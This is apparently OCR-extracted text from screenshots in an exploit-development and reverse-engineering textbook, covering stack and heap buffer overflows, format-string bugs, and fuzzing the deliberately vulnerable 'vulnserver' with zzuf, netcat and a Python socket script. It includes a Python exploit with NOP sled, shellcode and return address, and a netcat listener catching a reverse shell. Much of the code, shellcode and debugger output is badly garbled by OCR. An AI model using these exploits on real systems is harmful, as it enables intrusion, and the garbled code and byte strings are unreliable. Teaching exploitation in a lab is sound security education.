Final size of py file: 586 bytes

buf =

buf "\XA8\KILNXKCIN X8\ XBL\ Xxe I\ X fﬁ\ ff\»ff\»ff\x45\x5d\»05“
buf "“\xef\xf i\ x i\ xff\x48 b x2b\xac\x

buf "\» 1\»' 1\ x58\x27 148\1Ld\Jf ATARATARAVERAY

buf X b2\ xcB\xcb\x43\xeb\x16\x6c\ x41\x2e\xe
buf "\ x5e\x54\ ( X32AxX5TAXTT\XBC\ X611\ -\ 11\a4ﬁ\ Ta“
buf "\xc7\xcd\x e

buf

buf X X X

buf ) b X b KLb\adC\hCQ"
buf "\x1c\x81"

[202]



1 #!/usr/bin/python

2 payload length = 424

3/## Amount of nops

4 nop length = 100

5\return_address = ‘\xd@\xde\xff\xff\xff\x7f\x00%\x00'

6 ## Building the nop slide

7 nop slide = "\x90" * nop length

8 buf =

9lbuf += "\ x48\x31\xco\ x48\xB1\ xed\ xTo\ x T\ xFf I\ xF T\ x48\xB8d\ x05"
B|buf += "\ xef\xfA\xfxTH\x48\xbby\xc5\xe7\x76\x87\ xc5\x35\x99"
1 buf += "‘\xla\x4B8\x31\x58\x27\ x48\x2d\xT8\x T\ xfH\ xffyxe2\xf4"
2 buf += "\xaf\xce\x2e\x1le\xaT\x37\XcB\ X700\ xc4\ xbo\x79\x82\x8d"
3 buf += "‘\xa2\xd1\xa3\ xc7\xe7\x67\xdb\x05\x9d\ x63\xB89\x94\ xaf"
4 buf += "\xTyx61\xat\x25\xc3\x70\xef\xbf\x79\x82\xaf\ x36\xc7"
5 buf += "\ x52\x3a\x29\x1c\xab6\x9d\x3a\x9c\x6T\x33\ x8d\ x4d\xdf"
6 buf += "\ x5c\x7d\x22\x35\xa7\x8e\x18\xa8\xb6*\ x5d%\ x99 x49 x8d"
7 buf += "\ x6e\x91\xd5\ x92\x7d\x10\xTc\xca\xe2\ X7\ xB7\xc5\x35"
8/buf += "\ x99\ x1la"

9 padding = 'B' * (payload length - nop length - len(buf))

@ print nop slide + buf + padding + return_address|
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:~/bo# gdb bufferoverflow
GNU gdb (Debian 7.12-6+bl) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLw3+: GMU GPL version 3 or later <http://gnu.org/licenses/gf
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copy
and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration® for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/=.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufferoverflow...(no debugging symbols found)...c
(gdb) run < exp buf
Starting program: /root/bo/bufferoverflow < exp buf
What's your name?
process 2594 is executing new program: /bin/dash
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:~/bo# nc -nlvp 4444
listening on [any] 4444
connect to [192.168.258.147] from (UNKNOWN) [192.168.250.147] 33384
1s
aaa
abc
bufferoverflow
bufferoverflow.c
confirm 424
core
exp buf
exp_buf.py
lexploit.py
exploit buf
exploit test
exploit test.py
fuzzing
|fuzzing_test
fuzzing unique

pointer loc
textfile

unique

#include<stdio.h=
/ /#include<conio.h>
#include<string.h=

int main{int argc ,char** argv)

{
char *buffer=malloc(28);
strcpy(buffer,argv[1]);
free(buffer);|

}

[ 205 ]



khan@khanubantu:~/R _Engineering$ ./heapBufferoverflow 1111111111
khanldkhanUbant i ing$ ./heapBufferOverflow 111111111111111111111111111111111111113111111111111111111111111111111111111111111
*** Error in /heapBuffernuerﬂow : free(): invalid next size (fast): Ox0000000001c47010 ***

= Backtrace:
/1lib/x86_64-linux-gnu/libc.so.6(+0x777e5) [0x7f6bfdb8d7e5]
J1ib/x86 -linux-gnu/libc.so.6(+0x8037a) [0x7f6bfdbo637a]
Jlib/x86_64-1linux-gnu/libc.so.6(cfree+dx4c)[@x7f6bfdboa53c]
. fheapBufferoverflow[0x4005f9]
/lib/x86_64-1linux-gnu/libc.so.6(__libc_start_main+@xfe)[ex7f6bfdb36830]
.fheapBufferOverflow[0x4004e9]

Memory ma

60400000- 00401000 00000000 B8:08 4855841 fhome fkhan/Reverse_Engineering/heapBufferoverflow
00600000-00601000 r--p 000O0O00 08:08 4855841 /home fkhan/Reverse_Engineering/heapBufferOverflow
00601000-00602000 rw-p 00001000 ©8:08 4855841 /home/khan/Reverse_Engineering/heapBufferoverflow
01c47000-01c68000 rw-p 00000000 00:00 O [heap]
7f6bf8000000-7f6bf8021000 rw-p 00000000 00:00 @
7f6bf8021000-7f6bfcoa0000 -p 00000000 00:00 O
7f6bfd900000-7f6bfd916000 r-xp 6EOEEEOO 08:08 1577479 ib/> linux-gnu/libgcc_
7f6bfdo16008-7f6bfdb15600 ---p @EE16800 08:08 1577479 ib /> linux-gnu/libgcc_
7f6bfdb150600-7f6bfdb16000 rw-p 00015000 08:08 1577479 ib/x86 1inux-gnu/libgcc_
7f6bfdb16000-7f6bfdcd6000 r-xp 00000000 08:08 1581360 ib/> 1inux-gnu/libc-2.23.s0
7f6bfdcd6000-7f6bfded6600 -p 601cH0600 08:08 1581360 ib/> -linux-gnu/libc-2.23.s0
7f6bfded6000-7f6bfdeda@® r--p 001cAOOO B8:08 1581360 ib/> linux-gnu/libc-2.23.s0
7f6bfdedadoo-7f6bfdedc@0® rw-p 001c4000 08:08 1581360 ib/> linux-gnu/libc-2.23.s0
7f6bfdedc000-7f6bfdec0BOO rw-p 60000000 ©0:00 O
7febfdecaena-7f6bfdfo6e80 r-xp OEEOEEOE 08:08 1581358 /lib/x86_64-1inux-gnu/1d-2.23.50
7f6bfe0e2000-7f6bfe@e5000 rw-p 00000000 00:00 O
7f6bfe104000-7f6bfe105000 rw-p 00000000 00:00 ©
7f6bfe105000-7f6bfe106000 r--p 0OO25000 D8:08 1581358 /1ib/x86 1inux-gnu/1d-
7febfe106000-7f6bfe107000 rw-p 00026000 08:08 1581358 /1lib/x86_64-linux-gnu/1d-
7f6bfe107000-7f6bfe108000 rw-p 00000000 00:00 O
7ffd266Ff000-7Fffd26720000 rw-p ©00GEEOO 00:00 O [stack]
7ffd2674boe0-7ffd2674e000 r--p OAOOBEEO 0O:08 o [vvar]
7ffd2674e000-7ffd26750000 r-xp 660OEOEE 0O:00 [vdse]
fEfffffffreoeeo0-Ffffffffff601000 r-xp 000000@0 00:00 0 [vsyscall]
Aborted (core dumped)

#include<stdio.h=
//#include<conio.h>
#include<string.h=
#include<stdlib.h=

int main(int argc ,char** argv)

{

| printf(argv[1]);
1

#include <stdio.h=

void main(int argc, char** argv)
{
J/ printf accepts multiple arguments
J/ first argument is a format string
// many programmers assume this is only argument
printf("%s”, fargv[1]);
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khan@khanUbantu:~/Reverse_Engineering$ gcc formatString.c -o formatString
formatString.c: In function ‘main’:

formatString.c:8:2: warning: format not a string literal and no format arguments [-Wformat-security]
printf(argv[1]):
Y

khan@khanUbantu:~/R e_Engineering$ ./formatString hello
hellokhan@khanUbantu:~/ e ngi rings Nl

khan@khanUbantu:~/Reverse_Engineering$ ./formatString "%p %p %p %p %p %p %p %n"

Segmentation fault (core dumped)

khan@khanubantu:~/Re e_Engi rings ./formatstring "%p %p %p %p %p"

Ox7ffF10b76F38 Ox7FFF10b76F50 (nil) ©x4005d0 Ox7f667a80babokhan@khanUbantu:~/Reverse_Engineering$ [
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Chapter 12: Reverse Engineering Windows

Applications

< c @ ©a

immunityinc.com

Thank you for downloading Immunity Debugger.

Download the Immunity Debugger Verification Key

Get the Signature File for this Immunity Debugger Release.

(] Opening ImmunityDebugger_1_85_setup.exe

You have chosen to open:
ImmunityDebugger_1_85_setup.exe

which is: DOS/wWindows executable
from: https://debugger.immunityinc.com

What should Firefox do with this File?

Open with | Archive Manager (default) v

OsaveFile

files like this from now on

Cancel OK
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& Inbox (11,0 X ReverseEn X | @ ollydebuo: X JCIUCEFKERCEES in Linkedin X | @ aedtoinr- X
&« c o ollydbg.de
X OllyDb
Index only in the directory where the Software resides. You should use supplied PSAPLDLL c;nly on Wi
Main page distribute PSAPI.DLL or DBGHELP.DLL separately from the Software.
What's new P . .
Requirements This Agreement covers only the ViGN LT LRI g
Privacy covered by separate License Agri You have chosen to open:
Download dba110.2i
Quick start . — Gl e,
PDK Fair use which is: Zip archive (1.3 MB)
72311‘3““35 Many software manufacturers ex from: hetp://www.ollydbg.de (t]
S their programs. This restriction & - - - o
What should Firefox d th this File?
Sources have any doubts, contact the owr ak should Firefox do wi fsfite i
Files applies in your case with compet Open with | Archive Manager (default) v
OdngOU,Z:IQ OsaveFile
0dbgl10.zip  pgwnload
0dbg108b.zip Do this automatically for Files like this from now on.
Plug110.zip Download OllyDbg 1.10 (final ve
Disasm.zip
Cmdline.zip Download Plugin Development K c l
ance
Tutorials Download free source of comma -
Run trace
Lzinl

File Machine View Input Devices Help

—
“a | I 1|

BN Command Prompt - vulnserver.exe

C:swuln—softwaressvulnservervulnzerver . exe
Starting vulnserver version 1.88
Called essential function dll ver=zion 1.68

Thiz iz vulnerabhle =zoftware?

Do not allow access from wuntrusted systems or networks?

Waiting for client connections...
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M S @ khan@khanUbantu: ~

delcome to Vulnerable Server! Enter HELP for help.
iELP

Jalid Commands:
1ELP

STATS [stat value]
iTIME [rtime_value]
_TIME [ltime value]
5RUN [srun_value]
TRUN [trun_value]
JMON [gmon_value]
iDOG [gdog value]

{STET [kstet value]

JTER [gter wvalue]

1TER [hter_value]

_TER [lter_value]

{STAN [lstan_value]

IXIT

{ELP aaaaasaaaassaaaadaadasaadadadddadaddaaaadaaaaaaaaaaasd

133339833333333a33333333333a33333333333aa33a33333334a4a
133339833333333333333333333a333333333333a33a33333334a4a
33333333333333333333333333333333333333333333333333333
EEEEEEEEEEEE!

inmmand specific help has not been implemented
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khan@khanUbantu:~$ echo "HELP" | nc 192.168.1.164 99929
Welcome to Vulnerable Server! Enter HELP for help.
Valid Commands:

HELP

STATS [stat_wvalue]

RTIME [rtime_value]

LTIME [ltime_ value]

SRUN [srun_value]

TRUN [trun_value]

GMON [gmon_value]

GDOG [gdog value]

KSTET [kstet value]

GTER [gter_value]

HTER [hter value]

LTER [lter_value]

KSTAN [Llstan_value]

EXIT

khan@khanUbantu: ~

khan@khanUbantu:~$ echo "HELP" “python -c 'print "a"*5000' | nc 192.168.1.104 99
39

delcome to Vulnerable Server! Enter HELP for help.

Command specific help has not been implemented

UNKNOWN COMMAND

khan@khanUbantu: ~

khan@khanUbantu:~% echo "HELP" “python -c 'print "a"*5080'" = fuzz.txt
khan@khanUbantu:~$ tail fuzz.txt

HELP aaaaaasaaaaaaaaaaaaaaaaaaladasaaaaaaaaaaaasadadaaaaasaaaaaaaaaadaaaaaaaaaaaa
daaaaaaaaasalasalaaasaaaaanaarlalasaaaaaaaaanaarsaladalaaasaaaaaaaaaalaaaaaaaaaaaa
daaaaaaaaasalasalaaasaaaaanaarlalasaaaaaaaaanaarsaladalaaasaaaaaaaaaalaaaaaaaaaaaa
dadaaaaaaaaaaaaaaaaaaaaaaaanaarladaaaaaaaaaaanaarsaladaaaaaaaaaaaaaalalaaaaaaaaaaaa
dadaaaaaaaaaaaaaaaaaaaaaaaanaarladaaaaaaaaaaanaarsaladaaaaaaaaaaaaaalalaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaalalaaaaaaaaaaaaaaaaaalaaaaaaaaaaaaaaaalaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaalalaaaaaaaaaaaaaaaaaalaaaaaaaaaaaaaaaalaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaalalaaaaaaaaaaaaaaaaaalaaaaaaaaaaaaaaaalaaaaaaaaaaaa

khan@khanUbantu:~$ zzuf cat fuzz.txt

HENP aaaaaaaaaaaaaaaacaasasaaaaaasaaasasaasaaasaasasaasasaassasdnaiasasdansaanasaansaanaiasasdanaaanaiasasaacaaanasaanaaansaasasasaasaaasasaaaaaasa
a32233333333333333333333333A3333333333333333333333333333 ' 333333a333233333339233333339333333333330323333¢3(33333333333333333333333333 2333333333
a32a3aaaa3aaaaaaaaaaaaaaaaaaaaaaaaaaaaraaaaaaaanaaaraaaaaaaaaaaaaaadaaaaaaaasaaaaaaaanaaadaadaal aaasaaaaeaaeaaaasaaaasaaasaaasaaaaailaasaaaaaaaaaa
aaaaaaaaaaascaasaadasaaasaasaaadasdassaasanadasdasasaaddasadssaadsaaadasdasasaasaisaadnaaasaaasasdanaaasadasasdanaaas’ 3aaaaaaaadaaalasasaaasaasaaaaaaa
a38a33333333333333332333933333333333333332333233333333233333332233335333283392333253333! 333333933337 332330233332333333  a83333333a33333! 388333334
33303333333333333333333333333333333° 333333333333333333233333333333323331233923233333933332333233333330a3333333333333333 3333333333333 33333333
a32a3aaaaaasaaaaaaaasaagaaaaaaaaanaaasaaaaaaaanaaasaadaaaaaanaaaaaadlaadaaaaasaaaaaaqasaaadaadaasaaanaaa’aadanaaasaaqasaaanaaaraadasaaasaaaaaaaaaa
aa2a3aaaaaasaaasaadasaaasaasaaadasaassaasasaalasassaaacaaassaasaaasasaassaasalaanaaasaaasasdaahaasaiasasdanaaanaasanaadasdassaadasaaasaaaaqaaaaa
a32a33aa3aaaaaaaasaqaaaahasaaaaaanaasasasaasaaasiasaaasasaansasnaaasasadanasaanasaansaanaiasasaanaaanaiasasaanaaasa 3aasaasaassasaasaaasasaaaaaiaa
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khan@khanubantu:~$ zzuf -r 0.38 cat fuzz.txt

C[Mqa@[ifesee9ADHY eoUQeneYAeCEHRHG, EPEASREIHRAE]a@poyemTAcQDQCcooToQe | SToalil] E, aPeBocQES@PXrieYQKYAIAGQAGECooS

yeQ @ XAecaeeealak Kah@BaHaIIﬂE%K”[}a ;TAp|ijqE4fveee@T ! PCoCelEe ! eIeYaEe @@C@ﬂaaaﬂhal&Iia%AEﬂCAa@a@aﬂ@a(o@aan'jAﬂDQaAI«.!eq
weuA’l 'Ca9an@q]ad ceoCehAeAffije Fay

. EAF | AGECoeo@e1QA otAfRtge EccIicccBoececcboonnenlly QaHeIK[[Heoeeq[Bre@ekesges op! CEHEH) eavVeseASUKHossSAs oo

eeeaegleCeQlaaYHE LA EePe@Ebae)a?eSebEseQeDHAe ! ¢1Qs EeQaffgeQe[InEEHEEPBe Kee IeBoEegAeACKeseeH

oEoKAG[He[Fo[B10HB]1TPAUGsYIQe

ICEtBC(LMeose Qec@seQ!q eeCbeD XCI&TQAb!EAbAM@@beIA@IHH@bbAQ@!IS@@&Q[@IK!yEbGUA@au[ﬂ!CeQV'[EA a¢LEA@QEqQQEEC|if)MBe| “@ee@qMje)1(ee[R
E[d+5q QYE!baIAiFyéEbkAt.wdAg

baB3¢D4CqIa@ACWAAS@@I&)N’U:BREu@bDa@DCIt@bQL_%pba@oIaax a@bl@ku »A[] AD@baUAItaa@AEf-Q@bb@Ab IaDCa@f.Y@b @AaaE@Af:SE{ITUAA

TI@M@A&B«&jZaARﬁ'Cﬁ((QAaaauCOﬁaKMg !a!a(ﬁ}«oa(zQ@Yﬁa%HyiUEaﬁT«AAA@A[QAE[NKpEA

IAeAtoIARMthan@Q@o AaCHQaaAAaHB@oA@anLSLai'UoAA@
ueT[fflAeB " BeCDAAQ Eo[@lwaw/@mm Uo@o@lc@%a@wa,’m ok[f s@caloPAs(VeSea@M 2GbMYCeTComAEeBeflesefHE 3

"QHH@X@MLEPe|
y@euMeYeaeCe9A

02" Qo3a%¥TTE[fH6TB. oEeeiDoFoh|
o[He]15Gea51YAGee

DCQeeiAQLaaH[HH0APY1[RfTAACQ
AsbbAPae ! Adeeb! gHwenllHHST eoeEFbe  IH oA

Q

khan@khanUbantu:~S echo "GMON ./: “python -c 'print "A"*5000°'" > fuzz.txt
khan@khanubantu:~$ cat fuzz.txt

.3/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAARAAARAAAAAARAAAAAAARAAAAAAAAAAAAAAALAARAAAAAAAAARAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAA
AAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAARAAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAAARAAAAAARAAAAAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAARAAARAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAARAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAALRAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAAAARAAAAAARAAARAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAA

khan@khanubantu:~$ zzuf -b12- cat fuzz.txt > fuzz_final.txt

khan@khanUbantu:~$ cat fuzz_final.txt

GMON ./:/ AAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAARAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREAAAAAACAQAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAA
AAAAAAAAAAAAAAARAAAAAAAARAAAAAAAAAAAAAAAARAAARAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| @AAAAAAA EAA®AAAAAAAAAAAAAAAARAAAAAATAAAAAAAAARAAA
AAAAAAAAAAAA EN-\AAAAAAAAN-\AAAAAN-\AAAAAAAAN-\AAAAAAAAN-\AAAAAN-\AAAAAAAAN-\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAA@AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAA] @AAAAAAAAAA @AAAAAEAAAAAAAAAAAARAAAAAAAAAAARAAA @AAAAAAAO
AAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAGAAAAAAAAAGAAAARAAAARAAA
AAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAARAAAAAARAAAARAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAQAAAAAAAAAAAARAAAAAAAAARAAAAAAAQAAAAAAAAAAAAAAARAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAARAAATAAAAAAAA CAAAAAAAAAAAAAﬁAAAAAAAA@AAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA QAAAAA
AAAAAAAAAAAAAAARAAAQAAAABAAAAAAAAAARAAAAAARAAAAATAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAARAAAAAAAAAATAA

khan@khanUbantu:~$ cat fuzz final.txt | nc 192.168.1.104 9999
gelcome to Vulnerable Server! Enter HELP for help.

[ Favorites “® 0 | iharies TELlcer

X Ch\Users\[EUser\Desktop'wvulnserver\vulnserver.exe == RS

L vulnserver.exe @

vulnserver.exe has stopped working
A problem caused the program to stop working correctly.

Windows will close the pregram and notify you if a selution is
available,

Close program
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9 Q B Desktop »
. N F Toolg
Organize » [z Open ~ Share with = Mew folder
X Favorites E'_ Libraries [EUser
B Desktop o
j Downloads

(Ekecent Places View Debug Trace Options Windows Help

[ Libraries
Documents
JF Music
[&=] Pictures
B8 videos

File Machine View Input Devices Help

[€] File View Debug Trace Options Windows Help

77BF71B5 8DA42Y 0OOOOOO|LEA ESP,[ESP] EAX 00008881

77BF71BC|  8D6424 00 LEA ESP,[ESP] ECX BB2AFFABD

77BF71CE|  8D5H2H B8 LEA EDX,[ESP+8] EDX 0000061E

77BF71CH CD 2E INT 2E EBX BOB2AE7FB ASCII "HbsuHbsuT™
77BF71CH| €3 RETH ESP 00622F9D8

77BF71C7 20 HOP [J| EBP BB22FA18

77BF71C8| 55 PUSH EBP ES1 7FFFFFFF

77BF71C9| BBEC HOU EBP,ESP EDI FFFFFFFF

77BF71CB 8DA42Y 3IOFDFFFILEA ESP,[ESP-2DA]

Z7BF71D2 5y PUSH ESP EIP 77BF71B4 ntdll.77BF71B4
77BF71D3| EB 53810088  |CALL 77BF732B €1 ES 8823 32bit B(FFFFFFFF)
77BF71D8| 8B5S G4 HOU EDX,DWORD PTR SS:[EBP+4] P 1 CS 8818 32bit B({FFFFFFFF)
77BF71DB| 8BAS 68 HOU EAX,DWORD PTR SS:[EBP+8] A1 SS 8623 32bit G(FFFFFFFF)
77BF71DE 838424 C4O0000|ADD DUORD PTR SS:[ESP+0C4], 4 2 8 DS 8823 32bit B{FFFFFFFF)
77BF71E6| 8950 6C HOU DUORD PTR DS:[EAX+0C],EDX S 1 FS 6638 32bit 7FFDFBAO(FFF)
77BF71E9| C78424 B788618|HOV DVORD PTR SS:[ESP],10807 T 8 GS 8888 NULL

77BF71FO 8BCC HOU ECX,ESP DB

F7BF71F2 6A 01 PUSH 1 ~|0 @ LastErr 00000066 ERROR_SUCCESS
ZZBEZAEN Cq PLUSH Fr -

Top of stack [GGZZFIDAI=nTdll.77EF6BAC ~| EFL e@o00297 (MO,B,NE,BE,S,PE,L,LE}

STO empty 6.0

0022F9D4 || 757 06F1F
B022F9D8 || BOBOAA5L
Ap22F90C | | AEBBBRAT
OD22F9ED | 0O22F9F8
BO22F9FEL || BB2B2BC8
0022F9ES || 002B2020
BO22FOFEC || a8000008
AO22F9F 0| | 177E443C
0022F9F4|| @1D3CH69 |1
BO22F9F8 || FFFFFFFF
O022F9FC || 7FFFFFFF
B022FnA0|| B8808808
AB22FAB4| | BB2REZFA
0022FA 08 || 0000000 . ...

564030608 RETURN from ntdll.77BF6BBO to nsusock.75706F1F
66403010|FF FF FF FF
8684836828\ FF FF FF FF
60403030| 68 A8 80 A0
66403040| 66 00 00 00
66463656| 66 88 88 A8
66403060| 66 00 00 00
B6463676| 66 688 680 08
604p3080| 6 A8 B0 A0
66403000| 66 00 00 00
664636n6| 66 08 80 08
004030B0| 60 00 00 00
B64636C6| 66 688 80 08
00403600 6 A6 B0 A8
SulL L

ASCII “HbhsuHbhsuT™
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#! fusr/bin/python
import os

import sys

import socket
ipAddr="192.168.1.164"
ipPort=9999
command="GMON . /: f“

command= command + "A" * 1000
command=command + "B" * 1080
command=command + "C" * 1000
command=command + "D" * 1008
command=command + "E" * 1000

def start():
try:
sock=socket.socket
(socket.AF NET,socket.SOCK_STREAM)
if sys.argv[1l] != None and sys.argv[2] != None:
ipAddr=sys.argv[1]
ipPort=sys.argv[2]

sock.connect((ipAddr,int(ipPort)))
rec=sock.recv(1624)
print('Rec Banner initially 1is
s.send(command)
rec=sock.recv(1024)
print('Rec after is
except Exception as ex:
print("Exception : " +str(ex))

+str(rec))

+str(rec))

start[(]
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OllyDbg - vulnserver.exe - [CPU - main thread, module vulnserver]

FE‘HI& View Debug Trsce Options Windows Help

EREIRCIE /U] LlEMITcl] B/M 1]

(-] khan@khanUbantu: ~/Reverse_Engineering connections .

khangkhanubantu:~/Reve $ python fuzz.py

error: %d"

Registers (FPU)

EAX
ECX
EDX
EBX
ESP
EBP
ESI
EDI

EIP
a

oo -HUWND OO

1
a
1
a
a
a
a

EFL

ST

086686658
BO2EFBCA
B88686861A
7FFDFOOO
B022FC8C
0022FF28
oese66e08
06000600

004016DF

8623
6618

ES
cs
S8
DS
FS
33

LastErr
00610246
STO enpty 8.8

P

vulnserver.

HULL

32bit B(FFFFFFFF)
32bit 8(FFFFFFFF)
32bit B(FFFFFFFF)
32bit 8(FFFFFFFF)
32bit 7FFDEBBB({FFF)

00000666 ERROR_SUCCESS
(MO ,MB,E,BE,NS,PE,GE,LE)

0084016DF

ASCIT “(+—"

06463850 00 00200060 . .-
00LB3660] B9 0022FCA8| [ 0a200150| P ASCIT "(+-"
00403070| 60 00 00 66| B0 00 00 66 B0 00 0O 68|00 00 0O U ZeHCHL [ReoE BEEFF
0040368000 00 88 06|00 00 08 66| B0 60 0B 66|00 08 00 0622FCBE|( 89000002 o
00403090| 60 00 00 66/ B0 00 00 66 00 00 0O 68|00 00 0O 8022FCBA|| 88206150 ASCIL “(=-
004030A0| 00 00 6O 66| B0 00 0O 66/ 00 00 00 66|00 08 0O 0022FCBS|| BO2DFCFO
004030B0( 00 00 GO 60| DO 00 OO0 0B) 00 00 0O 00|60 DO 0O 0022FCBC || 00000010 -
004030C0| 00 00 6O 66| B0 00 0 66/ 00 00 0O 66|00 04 0O 0022FCCO|| BG2DFCER
00403000| 66 00 00 66| B0 00 0O 66/ 00 090 0O 68|00 00 0O 8622FCCh|| B00085F | ... -
Loading .udd data for 'C:A\UsersME Ll ser\Deskiopiwilnservervulnserver. sxe’ [ [Paused
& OllyDbg - vulnserver.exe - [CPU - thread 3. (00000F24), module msvert] =3
[€] File View Debug Trace Options Windows Help EIE
S o e o o e o |
76ASCDEB HOU EAX,DWORD PTR DS:[ESI+20] | Registers (FPuy -
OR DWORD PTR DS:[ESI+4],00008020 ST3 enpty 0.0
OR DWORD PTR DS:[EAX+4],ECX STH enpty 0.0
HOU EAX,DWORD PTR DS:[ESI+28] ST5 empty 0.0
OR DWORD PTR DS:[EAX+60],ECX ST6 empty 0.0
TEST EDI,EDI ST7 empty 0.0
JE SHORT 7GASCEBA 1210 ESPUDZDI
i s o FST 9088 Cond 6 0 0@ Err 960 086 0 8 (GT)
khan@khanuhantu- —/Ravarsa Engineering FCW 827F Prec NEAR,53 Hask 111111
khan@khanubantu:~/Reverse_Engineering$ python fuzz.py Last cnnd 8068:66800006
Rec Banner initially is : Welcome to Vulnerable Server! Enter HELP for help. XHHO

SHH1
JHM2
SHH3

m

HXCSR 08AB1F80 FZ 8 DZ 8

Rnd HEAR

Err

PUDZDI
A6 8666
Mask 111111

a8

ASCII “GMON .

RETURN from msucrt.769D8DGE to vulnserver.B8481826
ASCIT “GHMON .

Access violalion when wiing to [117D0000] - ShilteFun/Step to pass exceplion ta the program

[ [Paused
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Winbloz 7 [Running] - Oracle VM VirtualBox

AL
& 65:966

W
g4ce

- BFEE EDSEDEM &
8073 FC LER EOI, T

: ECi
3 SBarah ac |y Gk GORD FTR 551 [ESP+6C]
© FTCI _oaeBapal TEST ECK, 06BBADAS
1= 75 BF JNZ SHORT 7668EE17
> BA FFFEFE7E |HOU EDX, 7EFEFEFF
+ gBe1 10U R DUORD PTR DS: [ECK]
9308 FOD EDX . ERY
83F FF HOR: ERLEFEFFRFF
sacz

o
EDX, DWORD FTR DS: [ECK]

ECH, 4

2 B ere10100

JHZ SHORT 7E£32002

HOU DWORD PTR 0S:[EDII.EDX 1

ROD 0T, 4
JHP_SHORT 76638088
L, 0L

EEH

9 [ED!
WU BVTE PTR DS:[EDI+23,8

MOV WORD PTR DS:[EDI1,0:
10U ERL.DUORD FTR S50 tEpee

e ol

E‘x B?GD‘4C4 RSCIT

£ zzl?his
EBF 217F508 ASCII
ES] Doawpaon
EO1 gzisa008
EIP 76688002 nsve

BUFFFFFFFF
S TEFDABARIFFF
32b it BCFFFFFFFF

80969090 ERRIR_SLCC

CCCECCCCECCCCEOCEECCOEEntas

n

o o
gl oo oo ga

AARARR

T
So| FETURM fron mavcre. nbscoy to wulnserver. 0040162¢
; N &

6

BaED
2000dedo
oan

4Hu. Ao

3141415F| Ak

main.c

1 #include
2 #include

<stdio.h>
<stdlib.h>

3

4 int functionFunction(char* param)

54

char* localString = "functionFunction”;
int locallnt Bxffeeddcc;

char localstring2[10];
strcpy(localstring2, param);

OO0~ h

10
11
12
13 }
14
15 int main(int argc,
16 {
17
18
19
20
21
22
23}

return 1;

char *argv[])

char* localString
int locallInt

'main function";
0x1122344;

functionFunction(argv[1]);

return 6;
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Window Help [obs

Address [Hex dunp
FF FF FF

FF FF FF FF
FF FF FF FF

lemtwhcPkbzr. Code auditor and software as ent specialist needed

<

FFFFEEEF )
FFFFFFEF)
FFFFFFEF)
FFFFEEF)

| Analysing ButferOv: @ heuristical procedures, 20 calls to known functions

BELBE12908
11291

55

BOES
BIEC @8
C74% FC
C74% FB

[Paused

PUSH EBP
MOU EBP,ESP
SUB ESP,8
083841 MO ,BufFer ASCII
CCODEI MO ,FFEEDDCC

BR @di1poBoba HOU Ef
LEAVE k

cCo
[

E8 7oBsooba Bufferov. 084081740
E8 BBO10000 BufferOu.004B813E0

C745 FC
C745 F8

11384 MOV
Bu3 Hou

Cau2y BB7 766! MOU

E8 ATFFF

FFF BufferOu. 08481290

